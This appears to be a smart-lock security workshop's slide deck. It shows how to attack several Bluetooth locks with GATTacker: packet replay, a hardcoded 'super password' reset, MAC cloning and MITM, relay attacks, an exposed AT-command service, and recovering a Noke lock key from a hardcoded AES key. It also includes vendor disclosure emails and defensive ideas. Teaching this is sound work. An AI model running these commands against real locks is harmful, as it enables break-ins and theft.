scanResponse: 0e09536d6172746c6f636b202020051228003c00020a00
on open
poweredOn
BLENO - on -> stateChange: poweredOn
Noble MAC address : b8:27:eb:4c:88:3d
initialized!
Static - start advertising
on -> advertisingStart: success
setServices: success

<<<<<<<<<<<<<< INITIALIZED >>>>>>>>>>>>>>>>>>>>>>>
setServices: success

Client connected: 41:e4:5f:6d:ce:15

>> Subscribe: 1801 (Generic Attribute) -> 2a05 (Service Changed)
>> Write: ffe0 -> fff1: a137343136383905789a247b1a2f994f215f21 (741689 x ${ / 0!_!})
>> f0c77f162e8b:1801 confirmed subscription state: 2a05

<< Read: ffe0 -> fff1: a20500f0c77f162e8b31cf3c5bf4e6f06a3763 (1.1<[j7c])
<< Read: ffe0 -> fff1: a13734313638390badcfdd885c3bcca04c01d6 (741689)

<< Write: ffe0 -> fff1: a209000 ( )
<< Write: ffe0 -> fff1: a13123333435360 (123456)
<< Read: ffe0 -> fff1: a2060064010000 (d )
<< Read: ffe0 -> fff1: a2060064010000 (d )
<< Write: ffe0 -> fff1: a13123333435360 (123456)
<< Read: ffe0 -> fff1: a2060064010000 (d )
<< Read: ffe0 -> fff1: a2060064010000 (d )
<< Read: ffe0 -> fff1: a2060064010000 (d )
<< Write: ffe0 -> fff1: a13123333435360 (123456)
<< Read: ffe0 -> fff1: a2060064010000 (d )
<< Write: ffe0 -> fff1: a13123333435360 (123456)
<< Read: ffe0 -> fff1: a2060064010000 (d )
<< Write: ffe0 -> fff1: a13123333435360 (123456)
<< Read: ffe0 -> fff1: a2060064010000 (d )
<< Write: ffe0 -> fff1: a13123333435360 (123456)
<< Read: ffe0 -> fff1: a2060064010000 (d )
<< Write: ffe0 -> fff1: a13123333435360 (123456)
<< Read: ffe0 -> fff1: a2060064010000 (d )
<< Write: ffe0 -> fff1: a13123333435360 (123456)
<< Read: ffe0 -> fff1: a2060064010000 (d )
<< Write: ffe0 -> fff1: a13123333435360 (123456)
<< Read: ffe0 -> fff1: a2060064010000 (d )
<< Write: ffe0 -> fff1: a13123333435360 (123456)
<< Read: ffe0 -> fff1: a2060064010000 (d )
<< Write: ffe0 -> fff1: a13123333435360 (123456)
<< Read: ffe0 -> fff1: a2060064010000 (d )
<< Write: ffe0 -> fff1: a13123333435360 (123456)
<< Read: ffe0 -> fff1: a2060064010000 (d )
<< Write: ffe0 -> fff1: a13123333435360 (123456)
<< Read: ffe0 -> fff1: a2060064010000 (d )

Cleartext pass!
setServices: success

Client connected: 41:e4:5f:6d:ce:15

```
>> Subscribe: 1801 (Generic Attribute) -> 2a05 (Service Changed)
>> Write: ffe0 -> fff1 : a137343136383905789a247b1a2f094f21f21 (741689 x ${ } / 0! !)
      f0c77f162e8b:1801 confirmed subscription state: 2a05
<< Read: ffe0 -> fff1 : a20500f0c77f162e8b31cf3c5bf4ee6f06a3763 (1.1<)
<< Write: ffe0 -> fff1 : a137343136383905badcfdd885c3bcca04cef1d6 (741689)
<< Read: ffe0 -> fff1 : a209000 ( )
<< Write: ffe0 -> fff1 : a13123334353606 (123456)
<< Read: ffe0 -> fff1 : a2060064010000 ( d )
<< Write: ffe0 -> fff1 : a13123334353606 (123456)
<< Read: ffe0 -> fff1 : a2060064010000 ( d )
<Read: fff1 741689
```

„Authentication”

„Open lock” command
Authentication?

Next time – something different
Authentication

Initial (random?) value

Response, based on init

Auth (based on response)?
Replay!

Initial (random?) value

Response, based on init

Auth (based on response)?
Replay by Anthony Rose

>>> Replay Attacks

* Claim "encryption" is being used
* Who cares what they are sending as long as it opens!
* Vulnerable Devices
  - Geomate Bluetooth Smartlock
  - Elecyle Smart Padlock
  - Vians Bluetooth Smart Doorlock
  - Lagute Sciener Smart Doorlock
So...

Let’s continue where he stopped!
MOBILE APP ANALYSIS
Android mobile application reversing quick recap

- **XML**
- **Java**
- **DEX**
- **APK**
- **DVM/ART**
- **UNZIP**
- **ZIP**
- **Compile**
- **Dex2jar, Decompile**
- **Baksmali**
- **DVM**
- **ART**

**Diagram:**
- Android Studio
- Java
- DEX
- APK
- DVM/ART
- UNZIP
- ZIP
- Compile
- Dex2jar, Decompile
- Baksmali
- SMALI
Convert APK (smartlock/apk/) to JAR

```
root@kali:~ # d2j-dex2jar <file>.apk
```

We get

```
<file>-dex2jar.jar
```
Decompile JAR to java source – install jd-gui

```
root@kali:~ # dpkg --install kali/deb/jd-gui_1.4.0-0_all.deb
Selecting previously unselected package jd-gui.
(Reading database ... 315496 files and directories currently installed.)
Preparing to unpack jd-gui_1.4.0-0_all.deb ...
Unpacking jd-gui (1.4.0-0) ...
Setting up jd-gui (1.4.0-0) ...
root@kali:~/Downloads# cp /opt/jd-gui/jd-gui.desktop ~/Desktop/
```
741689 – „SUPER PASSWORD“?

```java
public class SmartLock {
    public static final int CONNECTED = 0;
    public static final int DISCONNECTED = 1;
    public static final String SUPER_PASSWORD = "741689";
    private boolean autoLock = false;
    private boolean backnotify = false;
    private boolean connection = false;
    private String connecttime = null;
}
```
Let’s try to use it as password!

Nope, does not work...

<table>
<thead>
<tr>
<th>Operation</th>
<th>Offset</th>
<th>Value</th>
<th>Length</th>
<th>Characters</th>
</tr>
</thead>
<tbody>
<tr>
<td>Write</td>
<td>ffe0</td>
<td>a137343136383905789a166c1d053237460b06</td>
<td>27F</td>
<td>741689 x l</td>
</tr>
<tr>
<td>Read</td>
<td>ffe0</td>
<td>a20500f0c77f162e8b50219af8918493a45751</td>
<td>2WQ</td>
<td>. P! WQ</td>
</tr>
<tr>
<td>Write</td>
<td>ffe0</td>
<td>a1373431363839098262c566bd7d84743c70c968</td>
<td>968</td>
<td>741689 b f</td>
</tr>
</tbody>
</table>
Packets - RequestLockInfo

Write: ffe0 -> fff1 : a13132334353606 ( 123456 )
Read: ffe0 -> fff1 : a2060064010000 ( d )

```java
public class MsgRequestLockInfo extends CommMessage {
    public static final int MSG_CMD = 6;
    public static final int MSG_LENGTH = 8;
    public static final int MSG_STX = 161;

    public MsgRequestLockInfo() {
        this.mStreamId = 161;
        this.mCmdId = 6;
    }

    public void receiveData(byte[] paramArrayOfByte) {}  // Remove this line
}
```
Command packet structure

Hex-encoded pass (123456)

MSG_STX = 161;

MSG_CMD = 6;
Open lock

```
>> Write: ffe0 -> fff1 : a131323334353601 ( 123456 )
<< Read: ffe0 -> fff1 : a20100
```

```java
public class MsgRequestOpenLock extends CommMessage {
{
    public static final int MSG_CMD = 1;
    public static final int MSG_LENGTH = 8;
    public static final int MSG_STX = 161;

    public MsgRequestOpenLock()
    {
        this.mStreamId = 161;
        this.mCmdId = 1;
    }

    public void receiverData(byte[] paramArrayOfByte) {
    }
```
Other commands – ResetPassword?

```java
import org.zff.ble.communication.message.CommMessage;

public class MsgRequestResetPassword
    extends CommMessage
{
    public static final int MSG_CMD = 8;
    public static final int MSG_LENGTH = 8;
    public static final int MSG_STX = 161;

    public MsgRequestResetPassword()
    {
        this.mStreamId = 161;
        this.mCmdId = 8;
    }

    public void receiverData(byte[] paramArrayOfByte) {}

    public void sendData(byte[] paramArrayOfByte)
    {
```
Reset pass packet

a137343136383908

SuperPassword (741689)

command
Reset password – edit dump file

2017.03.29 14:19:30.578 | < C | ffe0 | fff1 | a137343136383905789a230b157b365652761f ( 741689 x # {6VRv )
2017.03.29 14:19:31.671 | > R | ffe0 | fff1 | a20500f0c77f162e8b3612307232dafb33f51f ( 6 0r2 3 )
2017.03.29 14:19:31.928 | < C | ffe0 | fff1 | a13734313638390948c30fc777dc4ed5f6d103c9 ( 741689 H w N )
2017.03.29 14:19:32.834 | > R | ffe0 | fff1 | a20900 ( )
2017.03.29 14:19:33.480 | < C | ffe0 | fff1 | a137343136383908
Replay the reset pass

root@kali # node replay.js -i dump/f0c77f162e8b_resetpass.log -p f0c77f162e8b -s devices/f0c77f162e8b.srv.json
Ws-slae address: <your_raspberry_ip>
on open
poweredOn
Noble MAC address : b8:27:eb:f2:c1:05
initialized !
WRITE CMD: a137343136383905789a230b157b365652761f
READ: a20500f0c77f162e8b3612307232dafb33f51f --- skip
WRITE CMD: a13734313638390948c30fc777dc4ed5f6d103c9
READ: a20900 --- skip
WRITE CMD: a137343136383908
^C
User gets CANCER!
Replay: convert GATTacker log to nRF XML macro

# node gattacker2nrf -i dump/f0c77f162e8b_resetpass.log > resetpass.xml

Already converted file:

smartlock/nrf_connect_macro/f0c77f162e8b_resetpass_nrf.xml
Contact with vendor

Hello, I have identified several security vulnerabilities in your smart lock and accompanying mobile application.

1. It is possible to reset password to default without knowing current the password. I would classify it as critical bug, as it allows to open the lock by an intruder which just comes close to the lock, without any interaction with the victim user.
Response...

Nice day and thank you so much for your email.

We had update our APP and patched some bugs.

Sure will keep improving our product.

Thanks again for your help.
Hi again,

The current (updated in November 2016) app is vulnerable - it is possible to open the lock without knowing the password.

You need to change the Bluetooth protocol, it is a major patch, and requires also firmware upgrade of the devices, not just the mobile application.
Thank you so much for your suggestions.

Yes, we are working on the devices and software. In the near future, both of the hardware and software will be updated.
Lock #4
MasterLock

Proximity - open automatically

The mobile application service in background automatically opens the lock.

It is possible to „proxy” the proximity.
Remote relay

Figure 3. The relay with antennas, cables and an (optional) amplifier.

Relay Attacks on Passive Keyless Entry and Start Systems in Modern Cars
Keyless car entry

ADAC proved over 100 models vulnerable (2017.03)

Chasing Cars: Keyless Entry System Attacks

LOCATION: Track 2
DATE: April 14, 2017
TIME: 10:45 am - 11:45 am

YINGTAO ZENG
QING YANG
JUN LI
Scan for the device

root@kali:~/node_modules/gattacker# node scan

peripheral discovered (544a165d6f41 with address <54:4a:16:5d:6f:41, public>, connectable true, RSSI -80:

Name: Master Lock

EIR: 0201051107fb6db3e637446f84e4115b5d0100e094 ( m 7Do [ ] )

Scan response: 0c094d617374657204c6f636b11ff4b019b8f0000b0e23d240000c12e2556 ( Master Lock K

advertisements saved: devices/544a165d6f41_Master-Lock.adv.json
Actively intercept

# ./mac_adv -a devices/544a165d6f41_Master-Lock.adv.json
Actively intercept

Address changed - Reset device now
Re-plug the interface and hit enter

W5 slave address: 10.5.5.2
Peripheral id: 54a165d6f41
advertisement file: devices/54a165d6f41 MasterLock_adv.json
EIR: 0219051107fb6db3e637466f94e4115b5d0106e094
scanResponse: 9c094d6f7747572204c0f636b11ff4b61b08f600b0e23d240000c12e2556
on open
poweredOn
Noble MAC address: b8:27:eb:08:88:0e
BLENO on -> stateChange: poweredOn
initialized!
Static - start advertising
on -> advertisingStart: success
setServices: success

<<<<<<<<<<<<<<<<<< INITIALIZED >>>>>>>>>>>>>>>>>>>

Client connected: 71:ce:75:7f:a5:d9
>> Subscribe: 94e000015d5b11e4846f4437e6b36dfb -> 94e000025d5b11e4846f4437e6b36dfb
54a165d6f41:94e000015d5b11e4846f4437e6b36dfb confirmed subscription state: 94e000025d5b11e4846f4437e6b36dfb
<< Write: 94e000015d5b11e4846f4437e6b36dfb -> 94e000025d5b11e4846f4437e6b36dfb
3f4ff769e8e0befed7524f83f9776fbcce1e13e5f3382f0b8842816edc1a8301e403f88b832d { 8s
<< Notify: 94e000015d5b11e4846f4437e6b36dfb -> 94e000025d5b11e4846f4437e6b36dfb
<< Write: 94e000015d5b11e4846f4437e6b36dfb -> 94e000025d5b11e4846f4437e6b36dfb
<< Notify: 94e000015d5b11e4846f4437e6b36dfb -> 94e000025d5b11e4846f4437e6b36dfb
<< Notify: 94e000015d5b11e4846f4437e6b36dfb -> 94e000025d5b11e4846f4437e6b36dfb
<< Write: 94e000015d5b11e4846f4437e6b36dfb -> 94e000025d5b11e4846f4437e6b36dfb
<< Notify: 94e000015d5b11e4846f4437e6b36dfb -> 94e000025d5b11e4846f4437e6b36dfb
<< Notify: 94e000015d5b11e4846f4437e6b36dfb -> 94e000025d5b11e4846f4437e6b36dfb
<< Notify: 94e000015d5b11e4846f4437e6b36dfb -> 94e000025d5b11e4846f4437e6b36dfb
<< Notify: 94e000015d5b11e4846f4437e6b36dfb -> 94e000025d5b11e4846f4437e6b36dfb
<< Write: 94e000015d5b11e4846f4437e6b36dfb -> 94e000025d5b11e4846f4437e6b36dfb

0808/007/3f6120036a4ed08011b5f5a21cc925d5d5f7ea4a27d979281eaf919f08

6M % J' y( ?0 i mu$ 9 v ![ b/ D( l -)
98000999999999d0001e7bb2af902a6bf261 ( * a)
0100216c31e3a3d658ac3d51 : X Q
00000020663d79b6b475bc84 ( c y u )
01000207ff078ebc3d8a5657 ( W)
00001b3215e48dd296b5b46 ([ H ) [ F]
010002174999680538395d66a ( y h 78 j)
Now try remotely

The „victim” phone is away of lock’s Bluetooth range

Put Raspberry close to the lock.

Go with Kali (connected via wifi to Raspberry) close to the „victim”.
More secure – “locker” mode

Locker Mode

Disable Locker Mode in order to interact with your lock.

Bluetooth Smart 4401 Padlock
Lock registered: 6 Aug 2019

Lock Mode On
DISABLE
Security vs usability

Automatic open

Geolocalization

Swipe/touch to unlock

Special „locked” mode
Other ideas to prevent attack?

Detect latency – similar to EMV?

Once connected, BT communication is quite quick.
Lock #5

https://www.flickr.com/photos/morbius19/9417893923
Danalock

Challenge-response, session key

Commands encrypted by session key

Challenge looks random

Ranging: GPS-enabled, you have to leave the area and return

What could possibly go wrong?
Lock - protocol

SESSION KEY = AES(Challenge, KEY)

Get "Challenge"

Challenge

Encrypted commands AES (SESSION KEY)
Attack?

SESSION KEY = AES(Challenge, KEY)

Get "Challenge"

Challenge

Close lock

OK, closed

passive intercept
Attack

- Get "Challenge"
- Challenge (replay the intercepted)
- Close lock
- OK, closed

Same as intercepted session

OK, Closed!

MITM (replay)

MITM (replay)
Attack – the simple, stupid version

Oh, the lock is latched!

Advertise „latched“
Record advertisements

The lock advertises 2 states: latched/unlatched

Record both the advertisements (scan.js). Scan saves advertisements versions in:

devices/ecfe7e139f95_Lock(...).<DATE>.adv.json

Move to:
ecfe7e139f95_LockECFE7E139F95.<closed|open>.adv.json
Scan services to json

$ node scan ecfe7e139f95

(...)

Services file devices/ecfe7e139f95.srv.json saved!
Change MAC address

# bdaddr -i hci0 ec:fe:7e:13:9f:95
Advertise „latched” state

```bash
# node advertise.js -S -a
devices/ecfe7e139f95_closed.adv.json -s
devices/ecfe7e139f95.srv.json
```
BTW

My colleague pentester has managed to lock the lock by pressing the button long enough ;)
How excessive security may tamper availability ;)

I cannot access the lock, I cannot perform new pairing

BECAUSE

Previous owner (me) has to authorize the new pairing

BUT

... and it took 5 days for the support to reply, another days to resolve the issue

Note: be careful with buying used ones ;(
C.I.A.
BTW

August Smart Lock
@AugustSmartLock

iOS users, please hold off on upgrading to iOS 9. We are waiting for our compatible app to be approved by the App Store. Any hour/day now.

9/15/15, 7:20 PM
Tesla driver stranded in the desert after smartphone app failure

"Need to restart the car now, but, with no cell service, my phone can't connect to the car to unlock it."

had to run two miles to find signal and call a friend to bring the key fob
No more keys!
EXCESSIVE SERVICES
And the lock again...

It has an interesting feature:

BLE module vendor implements serial AT commands directly exposed on a service...

Anyone can connect to it, by default it is not locked.
AT commands reference

https://github.com/ideo-digital-shop/ble-arduino/tree/master/documentation/docs

Files:

BlueRadiosAT/nBlue AT.s Command Set v3.1.0.pdf
### 7.2 Reset Commands

#### 7.2.1 Reset (ATRST)

**Function:** Resets the module.

**Command Format:** ATRST

**Example(s):**
1. An ATRST is sent and once the module has reset, the RESET event is triggered.

<table>
<thead>
<tr>
<th>SD</th>
<th>RESET</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Function: Resets the module.</td>
</tr>
<tr>
<td></td>
<td>Command Format: ATRST</td>
</tr>
<tr>
<td></td>
<td>Example(s):</td>
</tr>
<tr>
<td></td>
<td>1. An ATRST is sent and once the module has reset, the RESET event is triggered.</td>
</tr>
<tr>
<td></td>
<td>COMMAND: ATRST&lt;cr&gt;</td>
</tr>
<tr>
<td></td>
<td>RESPONSE: &lt;cr_1f&gt;</td>
</tr>
<tr>
<td></td>
<td>BR-LE4.0-S2&lt;cr_1f&gt;</td>
</tr>
</tbody>
</table>
# Get temperature

<table>
<thead>
<tr>
<th>Function</th>
<th>Get the current temperature of the module’s internal temperature sensor.</th>
</tr>
</thead>
<tbody>
<tr>
<td>Command Format</td>
<td>ATT?</td>
</tr>
<tr>
<td>Response Format</td>
<td>&lt;Temp_Celsius&gt;,&lt;Temp_Fahrenheit&gt;</td>
</tr>
</tbody>
</table>

**Response Value(s):**
- **Temp_Celsius**: Temperature in Celsius.
- **Temp_Fahrenheit**: Temperature in Fahrenheit.

**Example(s):**

```
COMMAND: ATT?<cr>
RESPONSE: <cr lf>
OK
<cr lf>
026,079<cr lf>
```
7.8.2 UART Configuration (ATSUART)

**SET UART**

**Function:** Configures the module’s UART. This command requires a reset for the new settings to take effect.

**Command Format:** ATSUART,<Baud_Rate>,<Parity>,<Stop_Bits>,<Flow_Control>

**Command Parameter(s):**
- **Baud_Rate:** 3-10 [9600bps – 1000000bps], enter Value from table below. (230400, 460800 and 1000000 are only available on Dual Mode modules.)

<table>
<thead>
<tr>
<th>Baud rate</th>
<th>Value</th>
<th>Error (%)</th>
</tr>
</thead>
<tbody>
<tr>
<td>9600</td>
<td>3</td>
<td>0.14</td>
</tr>
<tr>
<td>19200</td>
<td>4</td>
<td>0.14</td>
</tr>
<tr>
<td>38400</td>
<td>5</td>
<td>0.14</td>
</tr>
<tr>
<td>57600</td>
<td>6</td>
<td>0.03</td>
</tr>
<tr>
<td>115200</td>
<td>7</td>
<td>0.03</td>
</tr>
<tr>
<td>230400</td>
<td>8</td>
<td>0.03</td>
</tr>
<tr>
<td>460800</td>
<td>9</td>
<td>0.03</td>
</tr>
<tr>
<td>1000000</td>
<td>10</td>
<td>0.03</td>
</tr>
</tbody>
</table>
Can you fry it? (please don’t try ;)

### 7.8.3 PIO Configuration (ATSPIO)

<table>
<thead>
<tr>
<th>SD</th>
<th>SET PIO</th>
</tr>
</thead>
</table>

**Warning:** Applying an external voltage to a PIO assigned as an output may permanently damage the module. The maximum voltage level on any pin should not exceed 3.6V. The I/O is NOT 5V tolerant.

**Function:** Sets the direction and values of PIO’s.

**Command Format:** ATSPIO,<PIO_Num>,<Direction>,<Value>

**Command Parameter(s):**
- **PIO_Num:**
  - Single Mode: 0,1,2,5,7,8,9,10,11,12,13,14
  - Dual Mode: 0,1,2,5,7,8,9,10,11,12,13,14,19,20,21,22
The helper script

scan.js automatically detects BlueRadios chipsets based on MAC address

```bash
root@kali:~/node_modules/gattacker# node scan.js
Ws-slave address: 127.0.0.1
on open
poweredOn
Start scanning.
already saved advertisement for b827eb08880e (undefined)
refreshed advertisement for ecf7e139f95 (LockECFE7E139F95)
BlueRadios MAC address - check AT commands service by blueRadiosCmd script!
  Name: LockECFE7E139F95
  EIR: 02010615ffce8010101ae00000000000000000001070000 ( d   )
  Scan response: 11094c6f636b454346453745313339463935 ( LockECFE7E139F95)
```
The helper script

```
root@kali:~/node_modules/gattacker# node standalone/blueRadiosCmd.js ecfe7e139f95
```
root@kali:~/node_modules/gattacker# node standalone/blueRadiosCmd.js ecf7e139f95
WARNING: env2 was required to load an .env file: /root/node_modules/config.env NOT FOUND! Please see: http://git.io/vG3UZ
Ws: slave address: 127.0.0.1
start
on open
poweredOn
explore state: ecf7e139f95 : start
explore state: ecf7e139f95 : finished
BlueRadios service UUID found!
Initialized!
ATSCL? - check if the service is locked : 0 = unlocked
subscribe to RX notification
Switch to CMD mode
sent CMD: ATSCL?
OK
0
ATT?
Switch to CMD mode
sent CMD: ATT?
OK
024,075
Lock #6

https://www.flickr.com/photos/morbius19/9420660072/
Discover it

root@kali:~/node_modules/gattacker# node scan.js
Ws-slave address: 10.5.5.129
on open
poweredOn
Start scanning.
peripheral discovered (d03972c3a81e with address <d0:39:72:c3:a8:1e, public>, connectable true, RSSI -61:
  Name: D03972C3A81E!
  EIR: 0201060302f0ff160844303339373243334138314521000000000000000000 (D03972C3A81E!
  Scan response: 1309443033393732433341383145210000000000005122800800c020a00000 (D03972C3A81E!
advertisement saved: devices/d03972c3a81e_D03972C3A81E-.adv.json
Scan the services

root@kali:~/node_modules/gattacker# node scan.js d03972c3a81e
Ws-slave address: 10.5.5.129
on open
poweredOn
Start exploring d03972c3a81e
Start to explore d03972c3a81e
explore state: d03972c3a81e : start
explore state: d03972c3a81e : finished
Services file devices/d03972c3a81e.srv.json saved!
Set up MITM

# ./mac_adv -a
devices/d03972c3a81e_D03972C3A81E-.adv.json
Advertise with cloned MAC address
Manufacturer: Cambridge Silicon Radio (10)
Device address: 00:1A:7D:DA:71:11
New BD address: D0:39:72:C3:A8:1E

Address changed - Reset device now
Re-plug the interface and hit enter

Current MAC: D0:39:72:C3:A8:1E
Ws-slave address: 10.9.8.181
peripheralid: d03972c3a81e
advertisement file: devices/d03972c3a81e_D03972C3A81E_.adv.json
EIR: 0210060302ff16844303393732433341383145210000000000000000
scanResponse: 139944363333937324333413831452100000000000512800000c020a00000
BLENO - on -> stateChange: poweredOn
on open
poweredOn
Noble MAC address : b8:27:eb:4c:88:3d
initialized !
Static - start advertising
on -> advertisingStart: success
setServices: success

<<<<<<<<<<<< INITIALIZED >>>>>>>>>>>

Client connected: 68:ab:87:4d:e0:54
>> Subscribe: fff0 -> fff2
>> Subscribe: fff0 -> fff3
>> Write: fff0 -> fff1 : 93483cfbf009e2ed0916e59b78d72293c0a75894 (H< x " X )
d03972c3a81e:fff0 confirmed subscription state: fff2
d03972c3a81e:fff0 confirmed subscription state: fff2
<< Notify: fff0 -> fff3 : 36251483068011f81688062832063e800006203 ( 0% h )
<< Notify: fff0 -> fff2 : e1040000000000000000000000000000000000000
<< Notify: fff0 -> fff2 : e1040000000000000000000000000000000000000
<< Write: fff0 -> fff1 : 425989 (BY )
<< Notify: fff0 -> fff2 : e1010000000000000000000000000000000000000
<< Notify: fff0 -> fff2 : c4140000020000000000000000000000000000000
<< Write: fff0 -> fff1 : e1011 ( )
<< Notify: fff0 -> fff3 : 36251483068011f81688062832063e800006203 ( 0% h )
<< Notify: fff0 -> fff3 : 36251483068011f81688062832063e800006203 ( 0% h )
Client disconnected: 68:ab:87:4d:e0:54
Client connected: 68:ab:87:4d:e0:54

Subscribe: fff0 -> fff2
Subscribe: fff0 -> fff3
Write: fff0 -> fff1: 93483c5f009e2ed0916e59b78d72293c0a75894

Authentication
Again Anthony Rose

* Change 3rd byte to 0x00

```
9348b6cad7299ec1481791303d7c90d549352398
```

Opcodes?

"Unique" key

Valid Command:

- Opcode: Write Request (0x12)
- Handle: 0x0025 (Unknown)
- Value: 9348b6cad7299ec1481791303d7c90d549352398

Modified Command:

- Opcode: Write Request (0x12)
- Handle: 0x0025
- Value: 934800cad7299ec1481791303d7c90d549352398
GATTacker dump

< C | fff0 | fff1 | 93485b3252e01d407aade4c52039e8da54421aa ( H2R @z LR D! )
> N | fff0 | fff3 | 3029165e000011f810680002032003e800000203 (0) ^ h )
> N | fff0 | fff2 | e104000000000000000000000000000000000000 (                    )
< C | fff0 | fff1 | 421c69 (B i)
> N | fff0 | fff2 | e101000000000000000000000000000000000000 (                    )
> N | fff0 | fff2 | c414000002000000000000000000000000000000 (                    )
< C | fff0 | fff1 | e101 (    )
> N | fff0 | fff3 | 3029165e000011f810680002032003e800000203 (0) ^ h )
> N | fff0 | fff3 | 302a1669000011f810680002032003e800000203 (0* i h )
GATTacker dump - replay

replay.log:
< C | fff0 | fff1 | 9348003252e01d407aaede4c52039e8da54421aa ( H[2R @z LR D! )
< C | fff0 | fff1 | 421c69 (B i)

Replay:

# node replay -i dump/replay.log -p d03972c3a81e -s devices/d03972c3a81e.sradv.json (...)
initialized !
WRITE CMD: 9348003252e01d407aaede4c52039e8da54421aa
WRITE CMD: 421c69
You need to reset it to factory

Lock opens and goes into maintenance, original owner has „your keys are outdated”

Resetting is a very painful process.

And you can do it only from the inside of the door.
Lock #7
Noke

No Key
No Problem

A smart lock to eliminate the hassle of keys and combinations forever. Compatible with iOS, Android, and Windows Phone.
Gattacker – scan, intercept..

./mac_adv -a devices/f1a3120d25fd
Dump the packets opening lock

>> Subscribe: 1bc5001020d29ee511446c609db825 -> 1bc5003020d29ee511446c609db825
f1e3120d25fd:1bc5001020d29ee511446c609db825 confirmed subscription state: 1bc5003020d29ee511446c609db825

>> Write: 1bc5001020d29ee511446c609db825 -> 1bc5002020d29ee511446c609db825
85d244e824345b03992065e4e94f4db80 ( D $[\text{e N M}] )
2f936be37e7f7213656c90c05f91675b ( Smani e )
40090c48dfc4f49d55313a70f919a7f80 ( 0 H1 : U1 )
5b1cb3a0bra6dfb3ec9f3380e165472b ( \text{3 i 5G} )
00bd46fa5dfe67252303954921411e3f30 ( \text{3 i 5G} )
09cb47efc67225230396492141b1e3f30 ( \text{3 i 5G} )
adc1b1060a37181ccf99c445036dca8b ( \text{3 i 5G} )

target device disconnected

>> Subscribe: 1bc5001020d29ee511446c609db825 -> 1bc5003020d29ee511446c609db825
f1e3120d25fd:1bc5001020d29ee511446c609db825 confirmed subscription state: 1bc5003020d29ee511446c609db825

>> Write: 1bc5001020d29ee511446c609db825 -> 1bc5003020d29ee511446c609db825
b01bdada08ca6dfb3edc9f3380e165472b ( \text{3 i 5G} )
9a2b6524d278bf8c45ef0c3cd8f3c3d0 ( \text{4 i 7 i V} )
2d67866af4e1aeb377e843940844f6 ( \text{4 i 7 i V} )
81dff4a073a346837a694c660a9568b8 ( \text{4 i 7 i V} )
01cd6ba65dbb3d6f3d4ef3380e165472b ( \text{3 i 5G} )
b1ed72cd12f89a4d55c45de02868c ( \text{h i E} )
22ec5e69f4946bd1dc6d044eb15789f4 ( \text{h i E} )
48acf83c60adbca3f36f384782b5c408 ( \text{H i 7 0 i u} )
AES shared key encoded in app

```
grep -r aes  
...  
com/fuzdesigns/noke/services/
NokeBackgroundService.java:
byte[] aeskey = new byte[]{(byte) 0, (byte) 1, 
(byte) 2, (byte) 3, (byte) 4, (byte) 5, (byte) 6, 
(byte) 7, (byte) 8, (byte) 9, (byte) 10, (byte) 11, 
(byte) 12, (byte) 13, (byte) 14, (byte) 15};
```
NOKE AES

AES128(
  12a0a29f3ac7d1194d834549114eeb97,
  00102030405060708090a0b0c0d0e0f) =

  7e080142424242428fcb445feef457d637

Works for first two messages, but then again pure random. Would have been TOO easy.
insecure AES for 500

- App sends random number to Lock
- Lock sends random number to app
- A Session key is calculated by adding XOR of those two numbers to the middle of the original key (000102...)
- This Session key is used for the following packets
So here's the O-DAY

from app: 42424242
        XOR
from lock: bff91ae4 =
          fdbb58a6

+ (%256)
000102030405060708090a0b0c0d0e0f =
000102030402c15fae090a0b0c0d0e0f
The commands AES-decrypted

7e080100000000087cd2200000000000000
7e080265911ce07acd2200000000000000
7e04088a911ce07acd2200000000000000
7e060900ca57e07acd2200000000000000
7e060900ca57e07acd2200000000000000
7e0a06d4f3506848cd2200000000000000
7e040789f3506848cd2200000000000000
The commands AES-decrypted

```
7e080100000000087cd2200000000000000
7e080265911ce07acd2200000000000000
7e04088a911ce07acd2200000000000000
7e060900ca57e07acd2200000000000000
7e0a06d4f3506848cd2200000000000000
7e040789f3506848cd2200000000000000
```
Command codes

```java
int setupState = 0;
public byte[] stateAesKey = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 }; public String tempFobMac;
int timeout = 0;
private lockItem tmpLock;

static {
    REKEY = 4;
    UNLOCK = 6;
    GETBATTERY = 8;
    SETQUICKCODE = 10;
    RESETLOCK = 12;
    FIRMWAREUPDATE = 14;
    ENABLEFAIRFOB = 16;
    FAIRFOB = 18;
    GETLOGS = 20;
    REMOVEFOB = 23;
    GETONETIMEQC = 25;
    TESTMODE = 28;
    FOBUNLOCK = 30;
    ENABLEFOBS = 32;
    ENABLEONETIMEQC = 34;
    ENABLEQUICKCLICK = 36;
    REMOVEFOBCODE = 38;
    SETFOBCODE = 40;
    GETLOCKSFROMFOB = 42;
    GETFOBCODES = 45;
    REMOVELOCKFROMFOB = 48;
    }```
Command codes

7e0801000000000087cd2200000000000000
7e080265911ce07acd2200000000000000
7e04088a911ce07acd2200000000000000
7e060900ca57e07acd2200000000000000
7e0a06d4f3506848cd2200000000000000
7e040789f3506848cd2200000000000000
Unlock code (06)

7e0a06d4f3506848cd220000000000000

Lock key
decodenoke python script

https://github.com/Endres/decodenoke

takes raw hex transmitted data, decodes AES, then interprets command IDs and shows key
#!/bin/bash

cat f1a3120d25fd.log | cut -d"|" -f 5 | cut -d" " -f 2 > f1a3120d25fd.txt
Run decodenoke

```python
# python decodenoke.py f1a3120d25fd.txt
(....)
== packet 7 ==
b'7e0a06d4f3506848cd22000000000000'
type: UNLOCK (6)
data: b'd4f3506848cd'
description: data contains lock key

== packet 8 ==
b'7e040789f3506848cd22000000000000'
type: UNLOCKREPLY (7)
data: b''
description: no data expected
```
Another vulnerability – access sharing

Noke Sharedlocks

```
"sharedlocks": [
  {
    "allday": "1",
    "autounlock": "0",
    "daysoftheweek": "0000000",
    "startday": "2\&16–03–22",
    "starttime": "09:00:00",
    "timezone": "Europe/Berlin",
    "endday": "2016–03–23",
    "endtime": "17:00:00",
    "lockid": "52280",
    "lockkey": "DFA314C91FE2",
    "lockname": "friends lock",
    "mac": "ED:ED:06:A2:C3:1E",
    "online": "1"
  }
]
```
Manipulating Data MitM

Use mitmproxy to manipulate data from the cloud

```bash
mitmproxy --replace :~s:2016-03-23:2066-03-23
```
Online check!

```json
{
    "cmd": "canunlocklock",
    "lockid": "52280",
    "token": "5iF1D5356Z4Pnlkp76lWiuRxH8uP5rQb"
}

{
    "lockkey": "DFA314C91FE2",
    "request": "canunlocklock",
    "result": "success"
}
```
This hack is brought to you by:

Ray & co.

https://streaming.media.ccc.de/33c3/relive/8019
Hackmelock

smartlockpicking.com/hackmelock
Open-source

https://smartlockpicking.com/hackmelock

Sources:

